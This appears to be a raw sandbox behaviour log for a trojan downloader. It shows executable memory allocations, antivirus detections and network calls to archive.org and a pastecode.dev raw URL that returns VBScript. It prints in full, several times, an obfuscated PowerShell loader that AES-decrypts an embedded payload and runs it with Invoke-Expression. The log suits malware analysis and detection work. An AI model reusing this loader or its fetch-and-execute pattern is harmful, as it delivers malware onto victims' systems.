NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02224000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02225000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02226000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02227000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02228000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02229000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c01000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c02000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c03000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c04000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c05000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c06000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c07000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c08000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c09000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c0f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c53000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02c54000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74115460793005066150640528154512CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIBcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV5QwIhB+rGLha2K+aRSd3CSqkA4mN8TlU+jwCmfxlTiBEMQSFsVqAygYtAnOGZ1mzkx2j+62RaaN7Kr6yNeeXWC9zhBL+dNi5EPZ8qndYnP1WQktNPDTJh+yjVPPg8t8Yepwz3DvcMSgwt2R0yopM2rIj+HOkTL82zyNEb/gVPbGTlOskyHjFjkimaDhnTw2V80ufsR32F8lsFTIWuHj7cfChaEB5aNg2HvYRGgiJwLhdooMLGFbQoVu20UdllJ+M6UJYgGxFnj7MYby900fHx84gjQaxsdPvDImbYJNHcrM2Qjd7FsiRCEBDWzZ6w1Ys/7eYf5yUKGhskls+AdwWgucYveot7t8xgn8xnyiyeFooboOEsd6E0kDLt0ggdgt80oq4ynf9nPUEeomAIXu6WY4z1/cVNC8+nQZs057RJ/LLXZhf3niT6+WjzDshkQ/moYrt8QQcQlOGzHWrAonMlPqVWtBb0VsPMpOEFd8ZjlO/QpsnO1oyJb2ISr24NQQb56IO4iu3ZCKJ5CeUH84R7V60Cd0cYEaTbLMSIamUJ2Tw4U0+5ul2N/44yOmxpWWo/VFS4Ez5M1nuHsGxN0AWM+s1vtxF2FUfjmFizdRSHEXxGjYV0wk7p+PQLIAR1SPi2VEnUiePgvGsb/Gz1p3ivlpZoHsloVGcgkYllOGZGZDfWx6IxqrcXQn+Ki6+m93tumKbXE0Jq/AGO888uiRcaIHwLXjzltoOzlnl18ZKmrgy/A1G5AmmoCPOXkv3rozXHambXLIQlJcJ4lcCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Symantec ISB.Downloader!gen40
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
ZoneAlarm HEUR:Trojan.Script.Generic
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvf™äÛn[¨In¨ŒÞIÊdX‹…ò”ð¯ßͱr…«Bf/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™ä‡ " îÓÐ<Iá‡%X)™,‰e¤»C1‚¢Ÿ /5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™äøªú}̚9•a]h¯Z^ñü®™;˜`ƒ—çƬ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Data sent zvf™ä—Üœãò}Wç{“~%dÆÅ?]“[UÅërb?´/5 ÀÀÀ À 285ÿia803405.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc0014
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

InternetReadFile

 buffer: Function Adnascente(anilocros, gomma, berro) Dim feramina feramina = Split(anilocros, gomma) Adnascente = Join(feramina, berro) End Function
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

send

 buffer: plf™äe¡Rœ8;±Tk¡-0½äúíRðƒÊPªØ_æ/5 ÀÀÀ À 28+ÿ pastecode.dev  
socket: 1020
sent: 117
1 117 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

send

 buffer: FBAIÇkUß5Q¬ö(ï‹Z·| ËpÝIC~mI ‚G<3ªŽ§zÒ3Æ~ç„(±E|‚Ó™25LjFÌÿ0×ó*ÿeè®z‹Cñē ª_uۚÓs$»é`²´•¿nNÉÙ¨£æ!t”’¨»
socket: 1020
sent: 134
1 134 0

send

 buffer: !
socket: 912
sent: 1
1 1 0

send

